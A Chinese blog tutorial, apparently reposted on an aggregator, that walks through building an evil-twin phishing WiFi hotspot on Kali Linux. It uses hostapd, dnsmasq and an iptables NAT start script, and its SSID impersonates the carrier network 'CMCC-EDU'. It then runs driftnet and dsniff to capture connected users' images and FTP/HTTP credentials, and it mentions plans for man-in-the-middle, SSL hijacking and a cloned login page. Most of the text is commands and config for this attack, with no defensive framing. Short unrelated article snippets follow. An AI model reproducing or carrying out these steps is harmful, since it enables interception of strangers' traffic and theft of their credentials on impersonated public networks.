​kali下搭建WiFi钓鱼热点​

news/2024/7/5 2:42:54

在linux下建立无线热点并不像在windows下开启网络共享或者使用无线网卡驱动设置AP模式即可。

linux下的无线共享要用到两个软件:hostapd(创建无线热点)、dnsmasq(dns服务和dhcp服务).

1.安装以上两个软件:

1

2

apt-get install hostapd

apt-get install dnsmasq

 2.配置hostapd.conf文件

很多教程上说配置/etc/hostapd/hostapd.conf文件,但是初次配置时,在/etc/hostapd/下并没有发现这个文件。

好吧,用linux的强大查找功能吧:

1

# find -name hostapd

 靠,没有。这个可以有!赶紧google一下,在网上可以直接找到hostapd.conf文件,如果直接copy下来放到/etc/hostapd/来可能版本不同不兼容。

想了想,应该在/etc/(毕竟是个配置文件),在到/etc/下找找吧:

1

/etc# find -name hostapd<br>发现以下文件:<br>./default/hostapd<br>./init.d/hostapd<br>./hostapd<br>./network/if-post-down.d/hostapd<br>./network/if-pre-up.d/hostapd

 进去看看:

在该文件中发现了hpstapd.conf.gz文件,它 的位置是/usr/share/doc/hostapd/examples/

好吧,应该找到了,只是压缩了,解压吧。注意还要修改上图的文件,将#DAEMON_CONF=“”修改成上图形式的(我的已经修改好了)。

1

DAEMON_CONF=/etc/hostapd/hostapd.conf

保存并退出,将 hpstapd.conf.gz复制到/etc/hostapd/下:

1

# cp /usr/share/doc/hostapd/examples/hostapd.conf.gz /etc/hostapd/

进入/etc/hostapd/目录下,解压:

1

/etc/hostapd# gzip -d hostapd.conf.gz > hostapd.conf

现在可以编辑hostapd.conf文件了:

1

2

# cd /etc/hostapd

/etc/hostapd# vim ./hostapd.conf

去掉前面的注释(去‘#’),并修改以下的:

1

2

3

4

5

6

7

interface=wlan2             //设置要做为AP的网卡

driver=nl80211              //设置无线网卡驱动,一般都是这样(也可以具体的,如rtl871xdrv)

ssid=CMCC-EDU               //设置热点的名称,CMCC-EDU你总该连吧~

hw_mode=g                   //(默认)无线模式,这里是默认的

channel=6                   //无线频道(1、6、11三个频道互补干扰)

macaddr_acl=0               //(默认)MAC地址过滤规则,设置为0即有规则的话就启用

auth_algs=1                 //设置为开放无线模式

 其他的默认就好,当然你也可以仔细研究这个hostapd.conf文件(如果你的E文好的话...),最后会说说支持WPA加密的设置。

接下来,是配置dnsmasq.conf文件:

1

vim /etc/dnsmasq.conf

 修改为如下图形式:

 设置内核支持IP转发,编辑/etc/sysctl.conf文件,去掉“# net.ipv4.ip_forward=1”前面的#去掉:

现在就可以启动我们设置好的伪造热点了,这里直接写成了一个脚本:

#! /bin/bash

case $1 in
    "start")
       sleep 1
       ifconfig wlan2 192.168.10.1 netmask 255.255.255.0         //无线热点的接口wlan2
       sleep 1
       echo "1" >/proc/sys/net/ipv4/ip_forward
       sleep 1
       iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE     //这里我上网的网卡是wlan0,如果是网线的话就是eth0
       sleep 1
       /etc/init.d/hostapd start
       sleep 1
       /etc/init.d/dnsmasq start
    ;;
    "stop")
       /etc/init.d/dnsmasq stop
       /etc/init.d/hostapd stop
       sleep 1
       iptables -t nat -D POSTROUTING -o wlan0 -j MASQUERADE     //同上
       sleep 1
       echo "0" >/proc/sys/net/ipv4/ip_forward
       sleep 1
    ;;
    *)
       echo "Usage $0 {start|stop}"
    ;;
    esac

取个名字AP-wlan0,再给它加个可运行权限,并放到/etc/init.d/下:

1

2

chmod +x ./AP-wlan0

cp ./AP-wlan0 /etc/init.d

 启动服务脚本:

1

service AP-wlan0 start

 启动之后,如图():

好了,手机连接上试试~~

由于我这有CMCC-EDU的无线信号,为了便于区分,我把伪造的热点改为CMCC-EDUU,

用driftnet抓去网页图片看看:

1

driftnet -i wlan2

 

 效果很明显哦^_^,driftnet还可以捕获音频的哦,详细去看说明吧

当然,这个时候打开dsniff和wireshark的话,所有的数据都可以抓下来了,中间人攻击、ssl等各种劫持都可以哦,这个我也在研究。。。

dsniff指定端口嗅探:

1

dsniff -i wlan2 -t 21/tcp=ftp,80/tcp=http

由于我这里在克隆CMCC-EDU登录界面时,它做的有点变态,还得修改点,所以暂时先写到这了

补充的:

配置hostapd.conf文件支持WPA加密:

interface=wlan2
driver=nl80211
ssid=mywifi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
wpa=2                                //WPA2加密模式
wpa_passphrase=mimanicai             //密码(即wifi密码)
wpa_key_mgmt=WPA-PSK
wpa-pairwise=TKIP
rns-pairwise=CCMP

//其他的默认,kali默认用vim时是没有高亮显示的,建议设置成高亮的以便于查找,怎么设,自己google吧

                

http://lihuaxi.xjx100.cn/news/1098401.html

相关文章

【每日一题Day197】LC2432处理用时最长的那个任务的员工 | 枚举

处理用时最长的那个任务的员工【LC2432】 共有 n 位员工&#xff0c;每位员工都有一个从 0 到 n - 1 的唯一 id 。 给你一个二维整数数组 logs &#xff0c;其中 logs[i] [idi, leaveTimei] &#xff1a; idi 是处理第 i 个任务的员工的 id &#xff0c;且leaveTimei 是员工完…

2023前端发展趋势,这几个点你必须知道

在去年的大前端领域虽然并没有出现什么颠覆性技术&#xff0c;但是Flutter、WebAssembly、Serverless的火爆发展还是超乎我们预期&#xff0c;也让我们进一步看到大前端的融合趋势。2020年下半年&#xff0c;大前端领域又有哪些你不能错过的顶级技术趋势呢&#xff1f; 1、Web…

Yunzai-Bot插件编写指南

Yunzai-Bot插件编写教学 前言 需要node.js基础,需要会使用redis数据库,推荐使用VScode编写☞下载 单个的js格式插件(example) oicq文档先新建一个文件&#xff0c;命名为Helloworld.js命名可以改的&#xff0c;最好别用中文&#xff0c;改命名时要记得把下面的类名改了(大小…

Linux网络编程:socket、客户端服务器端使用socket通信

socket socket&#xff08;套接字&#xff09;&#xff0c;用于网络中不同主机间进程的通信。 socket是一个伪文件&#xff0c;包含读缓冲区、写缓冲区。 socket必须成对出现。 socket可以建立主机进程间的通信&#xff0c;但需要协议&#xff08;IPV4、IPV6等&#xff09;…

智慧校园系统平台实现校内导航资产管线一体化管理

构建智慧校园系统平台是国家和大专院校共同倡议的校园信息化建设方向&#xff0c;是运用物联网技术搭建的一体化综合平台&#xff0c;基于各种应用服务系统&#xff0c;把学校的教务、办公、教学、学习、管理、资产、校园安全、安防、消防等各个环节融为一体&#xff0c;提高学…

SIP的voip语音通话后30秒左右挂断呼叫怎么解决

我们经常会遇到客户抱怨这样的问题&#xff0c;电话通话时&#xff0c;在大概30秒左右就断线。这样的问题最主要的原因是SIP终端没有收到ACK消息。SIP终端发送了 200 OK以后就开始了媒体的创建&#xff0c;RTP语音流开始启动&#xff0c;事实上&#xff0c;SIP终端可能还没有收…

LTE IA attach流程介绍

IA apn用于LTE attach。 手机检测到sim卡后,便会加载这个attach apn. 不过很多运营商并没有严格规定attach apn,所以常常使用default类型的apn。 IA Attach Spec Spec 24.301 4.1 The NAS for EPS follows the protocol architecture model for layer 3 as described in 3G…

PCO(Protocol Configuration Option)功能介绍

协议配置选项PCO(Protocol Configuration Option)用于为UE提供连接网络的附加信息。这是一个可选协议字段,只有当UE请求PCO时,PCO才会出现在Attach Accept信令消息中。 PCO Spec According to 3GPP TS24.008 10.5.6.3, Protocol Configuration Option (PCO) is used to…